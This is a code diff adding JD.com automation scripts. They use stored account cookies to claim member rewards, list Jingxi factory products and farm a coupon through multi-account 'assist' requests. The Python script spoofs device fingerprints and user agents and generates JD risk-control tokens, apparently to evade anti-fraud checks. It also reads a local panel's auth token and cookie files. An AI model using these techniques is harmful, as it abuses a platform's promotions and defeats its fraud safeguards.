}) + +function queryNewRightsDetail() { + return new Promise(resolve => { + $.get({ + url: `https://ms.jr.jd.com/gw/generic/hy/h5/m/queryNewRightsDetail?reqData=%7B%22appCode%22:%22jr-vip%22,%22version%22:%222.0%22,%22rid%22:%221007%22,%22drawEnv%22:%22H5%22%7D `, + headers: { + "Host": "ms.jr.jd.com", + "Connection": "keep-alive", + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.2.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/12.0.1.300 Mobile Safari/537.36", + "Origin": "https://m.jr.jd.com", + "Referer": "https://m.jr.jd.com/member/rights/index.html?utm_term=wxfriends&utm_source=iOS_url_1638418805663&utm_medium=jrappshare", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,th-CN;q=0.8,th;q=0.7,vi-CN;q=0.6,vi;q=0.5,en-US;q=0.4,en;q=0.3", + "cookie": cookie + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`queryNewRightsDetail API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + for (let v of data.resultData.data.subRightsList1) { + if (v.lifeRightsSubRightsOneMainTitle.indexOf('京豆') !== -1) { + await drawNewMemberRights1(v.rightsId); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function drawNewMemberRights1(rightsId) { + return new Promise(resolve => { + $.get({ + url: `https://ms.jr.jd.com/gw/generic/hy/h5/m/drawNewMemberRights1?reqData=%7B%22appCode%22:%22jr-vip%22,%22version%22:%222.0%22,%22rid%22:${rightsId},%22drawEnv%22:%22H5%22%7D`, + headers: { + "Host": "ms.jr.jd.com", + "Connection": "keep-alive", + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.2.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/12.0.1.300 Mobile Safari/537.36", + "Origin": "https://m.jr.jd.com", + "Referer": "https://m.jr.jd.com/member/rights/index.html?utm_term=wxfriends&utm_source=iOS_url_1638418805663&utm_medium=jrappshare", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,th-CN;q=0.8,th;q=0.7,vi-CN;q=0.6,vi;q=0.5,en-US;q=0.4,en;q=0.3", + "cookie": cookie + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`drawNewMemberRights1 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/GetJDUserBaseInfo?_=${Date.now()}&sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "m.jingxi.com", + "Cookie": cookie, + "Referer": "https://st.jingxi.com/my/userinfo.html?sceneval=2&ptag=7205.12.4", + "User-Agent": `jdapp;android;10.1.3;10;${randomString(40)};network/wifi;model/WLZ-AN00;addressid/874716028;aid/550eca6b467ca4f3;oaid/00000000-0000-0000-0000-000000000000;osVer/29;appBuild/90017;partner/jingdong;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045714 Mobile Safari/537.36`, + "deviceOS": "android", + "deviceOSVersion": 10, + "deviceName": "WeiXin" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + console.log("1"); + return; + } + if (data["retcode"] === 0) { + $.nickName = (data.nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_jrmx.py b/jd_jrmx.py new file mode 100644 index 0000000..718d21e --- /dev/null +++ b/jd_jrmx.py @@ -0,0 +1,273 @@ +# -*- coding:utf-8 -*- +#依赖管理-Python3-添加依赖PyExecJS +#依赖安装:进入容器执行:pip3 install PyExecJS +#想拿券的cookie环境变量JDJR_COOKIE,格式就是普通的cookie格式(pt_key=xxx;pt_pin=xxx) +#活动每天早上10点开始截止到这个月28号,建议corn 5 0 10 * * * + +""" +cron: 5 0 10 * * * +new Env('京东金融分享助力'); +""" + +import execjs +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib +from urllib.parse import quote + + +#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,ADID,area,lng,lat + + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + + + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + + + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def printf(text): + print(text+'\n') + sys.stdout.flush() + + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + printf("加载通知服务失败~") + else: + send=False + printf("加载通知服务失败~") +load_send() + + + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + printf('读取auth.json文件出错,跳过获取备注') + + +def JDSignValidator(url): + with open('JDJRSignValidator.js', 'r', encoding='utf-8') as f: + jstext = f.read() + ctx = execjs.compile(jstext) + result = ctx.call('getBody', url) + fp=result['fp'] + a=result['a'] + d=result['d'] + return fp,a,d + + +def geteid(a,d): + url=f'https://gia.jd.com/fcf.html?a={a}' + data=f'&d={d}' + headers={ + 'Host':'gia.jd.com', + 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8', + 'Origin':'https://jrmkt.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Connection':'keep-alive', + 'Accept':'*/*', + 'User-Agent':UserAgent, + 'Referer':'https://jrmkt.jd.com/', + 'Content-Length':'376', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9', + } + response=requests.post(url=url,headers=headers,data=data) + return response.text + + + +def gettoken(): + url='https://gia.jd.com/m.html' + headers={'User-Agent':UserAgent} + response=requests.get(url=url,headers=headers) + return response.text.split(';')[0].replace('var jd_risk_token_id = \'','').replace('\'','') + + +def getsharetasklist(ck,eid,fp,token): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/getShareTaskList' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"channelId":"17","bizGroup":18}'%(eid,fp,token)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + for i in range(len(json.loads(response.text)['resultData']['data'])): + if json.loads(response.text)['resultData']['data'][i]['couponBigWord']=='12' and json.loads(response.text)['resultData']['data'][i]['couponSmallWord']=='期': + printf('12期免息券活动id:'+str(json.loads(response.text)['resultData']['data'][i]['activityId'])) + return json.loads(response.text)['resultData']['data'][i]['activityId'] + break + except: + printf('获取任务信息出错,程序即将退出!') + os._exit(0) + + + +def obtainsharetask(ck,eid,fp,token,activityid): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/obtainShareTask' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"activityId":%s}'%(eid,fp,token,activityid)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + printf('obtainActivityId:'+json.loads(response.text)['resultData']['data']['obtainActivityId']) + printf('inviteCode:'+json.loads(response.text)['resultData']['data']['inviteCode']) + return json.loads(response.text)['resultData']['data']['obtainActivityId']+'@'+json.loads(response.text)['resultData']['data']['inviteCode'] + except: + printf('开启任务出错,程序即将退出!') + os._exit(0) + + +def assist(ck,eid,fp,token,obtainActivityid,invitecode): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/helpFriend' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"10","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/sharePage/?obtainActivityId=%s&channelId=17&channelName=pdy&jrcontainer=h5&jrcloseweb=false&jrlogin=true&inviteCode=%s"},"obtainActivityId":"%s","inviteCode":"%s"}'%(eid,fp,token,obtainActivityid,invitecode,obtainActivityid,invitecode)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + if response.text.find('本次助力活动已完成')!=-1: + send('京东白条12期免息优惠券助力完成','去京东金融-白条-我的-我的优惠券看看吧') + printf('助力完成,程序即将退出!') + os._exit(0) + else: + if json.loads(response.text)['resultData']['result']['code']=='0000': + printf('助力成功') + elif json.loads(response.text)['resultData']['result']['code']=='M1003': + printf('该用户未开启白条,助力失败!') + elif json.loads(response.text)['resultData']['result']['code']=='U0002': + printf('该用户白条账户异常,助力失败!') + elif json.loads(response.text)['resultData']['result']['code']=='E0004': + printf('该活动仅限受邀用户参与,助力失败!') + else: + print(response.text) + except: + try: + print(response.text) + except: + printf('助力出错,可能是cookie过期了') + + + +if __name__ == '__main__': + remarkinfos={} + get_remarkinfo() + + + jdjrcookie=os.environ["JDJR_COOKIE"] + + UserAgent=randomuserAgent() + info=JDSignValidator('https://jrmfp.jr.jd.com/') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + token=gettoken() + activityid=getsharetasklist(jdjrcookie,eid,fp,token) + inviteinfo=obtainsharetask(jdjrcookie,eid,fp,token,activityid) + + + try: + cks = os.environ["JD_COOKIE"].split("&") + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + username=remarkinfos[ptpin] + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + except: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + UserAgent=randomuserAgent() + info=JDSignValidator('https://jrmfp.jr.jd.com/') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + token=gettoken() + assist(ck,eid,fp,token,inviteinfo.split('@')[0],inviteinfo.split('@')[1]) \ No newline at end of file diff --git a/jd_jxgckc.js b/jd_jxgckc.js new file mode 100644 index 0000000..61c234f --- /dev/null +++ b/jd_jxgckc.js @@ -0,0 +1,114 @@ +/* +cron "10 10 * * *" script-path=jx_products_detail.js,tag=京喜工厂商品列表详情 +**/ +const $ = new Env('京喜工厂商品列表详情'); +const JD_API_HOST = 'https://m.jingxi.com/'; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.cookieArr = []; +$.currentCookie = ''; +let showMsg = ''; +!(async () => { + if (!getCookies()) return; + for (let i = 0; i < $.cookieArr.length; i++) { + $.currentCookie = $.cookieArr[i]; + $.index = i + 1; + if ($.currentCookie) { + const userName = decodeURIComponent( + $.currentCookie.match(/pt_pin=(.+?);/) && $.currentCookie.match(/pt_pin=(.+?);/)[1], + ); + $.log(`\n开始【京东账号${i + 1}】${userName}`); + await getCommodityList(); + + console.log(showMsg); + + //只发送给第一个号 + if (i ===0) { + // 账号${$.index} - ${$.UserName} + await notify.sendNotify(`${$.name}`, `${showMsg}`); + break + } + + } + } +})() + .catch(e => $.logErr(e)) + .finally(() => $.done()); + +function getCookies() { + if ($.isNode()) { + $.cookieArr = Object.values(jdCookieNode); + } else { + const CookiesJd = JSON.parse($.getdata("CookiesJD") || "[]").filter(x => !!x).map(x => x.cookie); + $.cookieArr = [$.getdata("CookieJD") || "", $.getdata("CookieJD2") || "", ...CookiesJd].filter(x=>!!x); + } + if (!$.cookieArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + 'open-url': 'https://bean.m.jd.com/', + }); + return false; + } + return true; +} + +function getCommodityList() { + return new Promise(resolve => { + $.get(taskUrl('diminfo/GetCommodityList', `flag=2&pageNo=1&pageSize=10000`), async (err, resp, data) => { + try { + const { ret, data: { commodityList = [] } = {}, msg } = JSON.parse(data); + // $.log(`\n获取商品详情:${msg}\n${$.showLog ? data : ''}`); + for (let index = 0; index < commodityList.length; index++) { + const { commodityId, stockNum } = commodityList[index]; + await getCommodityDetail(commodityId, stockNum); + await $.wait(1000); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getCommodityDetail(commodityId, num) { + return new Promise(async resolve => { + $.get( + taskUrl('diminfo/GetCommodityDetails', `commodityId=${commodityId}`), + (err, resp, data) => { + try { + const { ret, data: { commodityList = [] } = {}, msg } = JSON.parse(data); + // $.log(`\n获取商品详情:${msg}\n${$.showLog ? data : ''}`); + const { starLevel, name, price, productLimSeconds } = commodityList[0]; + showMsg += `⭐️商品--${name}, 所需等级 ${starLevel},所需电力: ${price / 100} 万,限时 ${ + productLimSeconds / 60 / 60 / 24 + } 天,📦库存:${num},最短需要 ${(price / 864 / 2).toFixed(2)} \n`; + ; + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }, + ); + }); +} + +function taskUrl(function_path, body) { + return { + url: `${JD_API_HOST}dreamfactory/${function_path}?${body}&zone=dream_factory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now()}`, + headers: { + Cookie: $.currentCookie, + Accept: `*/*`, + Connection: `keep-alive`, + Referer: `https://st.jingxi.com/pingou/dream_factory/index.html`, + 'Accept-Encoding': `gzip, deflate, br`, + Host: `m.jingxi.com`, + 'User-Agent': `jdpingou;android;3.6.6;10;9366134603335346-2356564626532336;network/wifi;model/PCCM00;addressid/2724627094;aid/9f1d035d2eedb52c;oaid/0990A8DEE8484D29A1F033DCEFB178E3e82dce91adda643738be64a5c1dbd373;osVer/29;appBuild/1830;psn/Y3zi9DfAnZ9m /CaT1 855ftH5Ommmjk|80;psq/17;adk/;ads/;pap/JA2020_3112531|3.6.6|ANDROID 10;osv/10;pv/58.17;installationId/64c27574699b447f9e83bb051482e0bc;jdv/0|androidapp|t_335139774|appshare|Wxfriends|1629270186766|1629270192;ref/HomeFragment;partner/oppo;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; PCCM00 Build/QKQ1.191021.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36`, + 'Accept-Language': `zh-cn`, + }, + }; +} + +// prettier-ignore +function Env(t,s){return new class{constructor(t,s){this.name=t,this.data=null,this.dataFile="box.dat",this.logs=[],this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,s),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}getScript(t){return new Promise(s=>{$.get({url:t},(t,e,i)=>s(i))})}runScript(t,s){return new Promise(e=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=s&&s.timeout?s.timeout:o;const[h,a]=i.split("@"),r={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":h,Accept:"*/*"}};$.post(r,(t,s,i)=>e(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s);if(!e&&!i)return{};{const i=e?t:s;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const 